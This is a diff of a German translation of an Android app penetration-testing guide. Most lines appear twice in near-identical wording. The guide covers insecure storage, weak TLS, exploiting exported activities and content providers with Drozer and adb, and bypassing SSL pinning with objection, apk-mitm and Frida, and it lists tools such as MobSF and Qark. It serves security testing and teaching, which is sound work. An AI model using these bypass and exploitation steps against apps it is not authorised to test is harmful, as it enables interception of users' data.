- Angesichts der einfachen Zugänglichkeit wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
- Angesichts des einfachen Zugriffs wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
- Externer Speicher kann entfernt oder von jeder Anwendung zugegriffen werden, was ihn weniger sicher macht.
3. **Umgang mit Daten vom externen Speicher**:
- Führen Sie immer **Eingangsvalidierungen** für Daten durch, die vom externen Speicher abgerufen werden. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
@ -135,12 +140,12 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
> [!TIPP]
> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
> [!TIP]
> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
**Sensible Daten im Klartext gespeichert**
- **Geteilte Präferenzen**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
- **Shared Preferences**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
- **Datenbanken**: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken im Pfad `/data/data/<packagename>/databases/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
### Gebrochene TLS
@ -154,11 +159,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden.
### Gebrochene Kryptografie
### Defekte Kryptografie
**Schlechte Schlüsselverwaltungsprozesse**
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Angriffe es Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
**Verwendung unsicherer und/oder veralteter Algorithmen**
@ -167,9 +172,9 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun
### Weitere Überprüfungen
- Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu überprüfen, ob sie modifiziert wurde.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen.
### React Native Anwendung
@ -213,7 +218,7 @@ bypass-biometric-authentication-android.md
- **Codeausführung**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS senden**: `sendTextMessage, sendMultipartTestMessage`
- **Native Funktionen** deklariert als `native`: `public native, System.loadLibrary, System.load`
- [Lesen Sie dies, um zu erfahren, **wie man native Funktionen umkehrt**](reversing-native-libraries.md)
- [Lesen Sie dies, um zu erfahren, **wie man native Funktionen zurückverfolgt**](reversing-native-libraries.md)
### **Weitere Tricks**
@ -227,7 +232,7 @@ content-protocol.md
## Dynamische Analyse
> Zunächst benötigen Sie eine Umgebung, in der Sie die Anwendung und die gesamte Umgebung (Burp CA-Zertifikat, Drozer und Frida hauptsächlich) installieren können. Daher ist ein gerootetes Gerät (emuliert oder nicht) äußerst empfehlenswert.
> Zunächst benötigen Sie eine Umgebung, in der Sie die Anwendung und die gesamte Umgebung (Burp CA-Zertifikat, Drozer und Frida hauptsächlich) installieren können. Daher wird ein gerootetes Gerät (emuliert oder nicht) dringend empfohlen.
### Online-Dynamische Analyse
@ -239,7 +244,7 @@ Sie können sogar **die Protokolle Ihrer Anwendung** im Web sehen und über **ad
Dank der ADB-Verbindung können Sie **Drozer** und **Frida** in den Emulatoren verwenden.
### Lokale dynamische Analyse
### Lokale Dynamische Analyse
#### Verwendung eines Emulators
@ -270,7 +275,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
2. (Ab Android 8.0) Wählen Sie **System**.
3. Wählen Sie **Über das Telefon**.
4. Drücken Sie **Build-Nummer** 7 Mal.
5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
> Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\
> Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können.
@ -279,19 +284,19 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
**Protokollierung**
Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
> [!WARNING]
> Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
**Zwischenablage-Caching**
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z.B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die Copy/Paste-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu **deaktivieren**, um Datenlecks zu verhindern.
**Absturzprotokolle**
Wenn eine Anwendung **abstürzt** und **Protokolle speichert**, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht umgekehrt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren bei Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal zur Sicherheit gesendet werden.
Wenn eine Anwendung **abstürzt** und **Protokolle speichert**, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht zurückverfolgt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren bei Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal zur Sicherheit gesendet werden.
Als Pentester sollten Sie **diese Protokolle überprüfen**.
@ -311,20 +316,20 @@ Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen
### Drozer (Exploiting Activities, Content Providers und Services)
Aus [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\
Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Provider** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden.
Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Providers** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden.
### Ausnutzen exportierter Aktivitäten
[**Lesen Sie dies, wenn Sie auffrischen möchten, was eine Android-Aktivität ist.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Methode beginnt.
Denken Sie auch daran, dass der Code einer Aktivität mit der **`onCreate`**-Methode beginnt.
**Autorisierungsumgehung**
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**mechanismen **umgehen**, um darauf zuzugreifen.
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungsmechanismen** **umgehen**, um darauf zuzugreifen.
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
Sie können auch eine exportierte Aktivität von adb starten:
Sie können auch eine exportierte Aktivität von adb aus starten:
- Paketname ist com.example.demo
- Exportierte Aktivitätsname ist com.example.test.MainActivity
@ -347,7 +352,7 @@ Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität m
### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten.
[**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/index.html#content-providers)
@ -403,8 +408,8 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb
### Transport Layer Inspektion und Verifizierungsfehler
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
#### Zertifikatsverifizierung
@ -416,9 +421,9 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti
#### Verkehrsinpektion
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat.
@ -426,10 +431,10 @@ Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**]
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
- Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Suche nach häufigen Webverwundbarkeiten
@ -443,12 +448,12 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
- Einige "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs)).
- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-Instrumentierung & SSL-Pinning-Umgehungs-Workflow
#### Anti-Instrumentierung & SSL-Pinning-Umgehungsworkflow
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
@ -495,7 +500,7 @@ Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte je
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -513,12 +518,12 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
- **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
- Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
- Es kann nicht exportierte Komponenten und Content-Provider Angreifern aussetzen.
- Es kann nicht exportierte Komponenten und Content-Provider für Angreifer zugänglich machen.
- Die URL-zu-`Intent`-Umwandlung von `WebView` kann unbeabsichtigte Aktionen erleichtern.
### Android Client Side Injections und andere
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen bei diesen Schwachstellen in einer Android-Anwendung besonders vorsichtig sein:
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen besonders vorsichtig mit diesen Schwachstellen in einer Android-Anwendung sein:
- **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
- **JavaScript Injection (XSS):** Überprüfen Sie, ob die Unterstützung für JavaScript und Plugins für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
@ -536,7 +541,7 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
![](<../../images/image (866).png>)
**Schwachstellenbewertung der Anwendung** mit einem schönen webbasierten Frontend. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
**Schwachstellenbewertung der Anwendung** mit einer schönen webbasierten Benutzeroberfläche. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -553,7 +558,7 @@ Der **MobSF-Dynamikanalysator** kann:
- **Anwendungsdaten dumpen** (URLs, Protokolle, Zwischenablage, von Ihnen erstellte Screenshots, Screenshots, die von "**Exported Activity Tester**" erstellt wurden, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All dies geschieht automatisch, außer bei den Screenshots, die Sie drücken müssen, wenn Sie einen Screenshot möchten, oder Sie müssen "**Exported Activity Tester**" drücken, um Screenshots aller exportierten Aktivitäten zu erhalten.
- **HTTPS-Verkehr erfassen**
- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
- **Frida** verwenden, um **Laufzeit** **informationen** zu erhalten
Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
@ -563,7 +568,7 @@ Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**,
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**.
Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **sie aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **diese aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen).
![](<../../images/image (419).png>)
@ -580,7 +585,7 @@ Sobald Sie das zusätzliche Modul ausgewählt haben, das Sie verwenden möchten,
**Shell**
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-**Befehlen** am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell**-Befehlen am unteren Ende der Seite zur dynamischen Analyse. Einige interessante Befehle:
```bash
help
shell ls
@ -591,8 +596,8 @@ receivers
```
**HTTP-Tools**
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs auf dem "**HTTP(S) Traffic**" unteren Bereich oder eine schönere Ansicht im grünen Bereich "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs im "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie auf "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen.
@ -605,7 +610,7 @@ Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf
### Unterstützte dynamische Analyse mit Inspeckage
Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) erhalten.\
Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.\
Dieses Tool verwendet einige **Hooks**, um Ihnen mitzuteilen, **was in der Anwendung passiert**, während Sie eine **dynamische Analyse** durchführen.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -616,7 +621,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
### [Qark](https://github.com/linkedin/qark)
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -638,7 +643,7 @@ reverse-apk relative/path/to/APP.apk
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
```
@ -666,7 +671,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer über potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und zu warnen.
**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
@ -678,7 +683,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
